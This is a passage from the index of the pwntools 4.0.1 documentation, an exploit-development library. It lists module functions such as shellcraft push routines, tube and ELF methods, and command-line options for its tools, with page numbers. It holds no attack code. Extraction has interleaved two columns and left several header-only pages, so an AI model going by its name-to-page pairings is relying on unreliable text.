pidof() (in module pwnlib.adb.adb), 25 145
pidof() (in module pwnlib.util.proc), 304 pushstr_array() (in module pwnlib.shellcraft.i386),
pie (pwnlib.elf.elf.ELF attribute), 63 153
plt (pwnlib.elf.elf.ELF attribute), 63 pushstr_array() (in module pwn-
poll() (pwnlib.tubes.process.process method), 185 lib.shellcraft.mips), 165
poll() (pwnlib.tubes.ssh.ssh_channel method), 201 pushstr_array() (in module pwn-
popad() (in module pwnlib.shellcraft.amd64), 134 lib.shellcraft.thumb), 174
popad() (in module pwnlib.shellcraft.thumb), 172 put() (pwnlib.tubes.ssh.ssh method), 196
port (pwnlib.tubes.ssh.ssh attribute), 201 pwn (module), 3
powerset() (in module pwnlib.util.iters), 282 pwn command line option
ppid (pwnlib.elf.corefile.Corefile attribute), 73 -h, -help, 12
print_binutils_instructions() (in module pwn-asm command line option
pwnlib.asm), 34 -d, -debug, 13
printable() (in module pwnlib.encoders.encoder), -e <encoder>, -encoder <encoder>, 13
52 -f {raw,hex,string,elf}, -format
proc (pwnlib.tubes.process.process attribute), 186 {raw,hex,string,elf}, 13
proc_exe() (in module pwnlib.adb.adb), 25 -h, -help, 13
Process (class in pwnlib.protocols.adb), 108 -i <infile>, -infile <infile>, 13
process (class in pwnlib.tubes.process), 182 -n, -newline, 13
process() (in module pwnlib.adb.adb), 25 -o <file>, -output <file>, 13
process() (pwnlib.elf.elf.ELF method), 56 -r, -run, 13
process() (pwnlib.tubes.ssh.ssh method), 194 -v <avoid>, -avoid <avoid>, 13
product() (in module pwnlib.adb.adb), 25 -z, -zero, 13
product() (in module pwnlib.util.iters), 287 line, 12
program (pwnlib.tubes.process.process attribute), 186 pwn-checksec command line option
Progress (class in pwnlib.log), 94 -file <elf>, 13
progress() (pwnlib.log.Logger method), 95 -h, -help, 13
prolog() (in module pwnlib.shellcraft.i386), 152 elf, 13
protocol (pwnlib.tubes.listen.listen attribute), 190 pwn-constgrep command line option
protocol (pwnlib.tubes.server.server attribute), 191 -e <constant>, -exact <constant>, 14
proxy (pwnlib.context.ContextType attribute), 46 -h, -help, 14
proxy() (in module pwnlib.protocols.adb), 108 -i, -case-insensitive, 14
prpsinfo (pwnlib.elf.corefile.Corefile attribute), 73 -m, -mask-mode, 14
prstatus (pwnlib.elf.corefile.Corefile attribute), 73 constant, 14
pty (pwnlib.tubes.process.process attribute), 187 regex, 13
pull() (in module pwnlib.adb.adb), 25 pwn-cyclic command line option
push() (in module pwnlib.adb.adb), 25 -a <alphabet>, -alphabet
push() (in module pwnlib.shellcraft.aarch64), 126 <alphabet>, 14
push() (in module pwnlib.shellcraft.amd64), 134 -h, -help, 14
push() (in module pwnlib.shellcraft.arm), 144 -l <lookup_value>, -o
push() (in module pwnlib.shellcraft.i386), 152 <lookup_value>, -offset
push() (in module pwnlib.shellcraft.mips), 163 <lookup_value>, -lookup
push() (in module pwnlib.shellcraft.thumb), 172 <lookup_value>, 14
pushad() (in module pwnlib.shellcraft.amd64), 135 -n <length>, -length <length>, 14
pushad() (in module pwnlib.shellcraft.thumb), 173 count, 14
Index 329
pwntools Documentation, Release 4.0.1
330 Index
pwntools Documentation, Release 4.0.1
Index 331
pwntools Documentation, Release 4.0.1
332 Index
pwntools Documentation, Release 4.0.1
Index 333
pwntools Documentation, Release 4.0.1
334 Index
pwntools Documentation, Release 4.0.1
Index 335
pwntools Documentation, Release 4.0.1
V X
vaddr_to_offset() (pwnlib.elf.elf.ELF method), 58 x_25() (in module pwnlib.util.crc), 260
336 Index
pwntools Documentation, Release 4.0.1
Y
yesno() (in module pwnlib.ui), 217
Z
zip (in module pwnlib.util.iters), 277
zip_longest (in module pwnlib.util.iters), 277
Index 337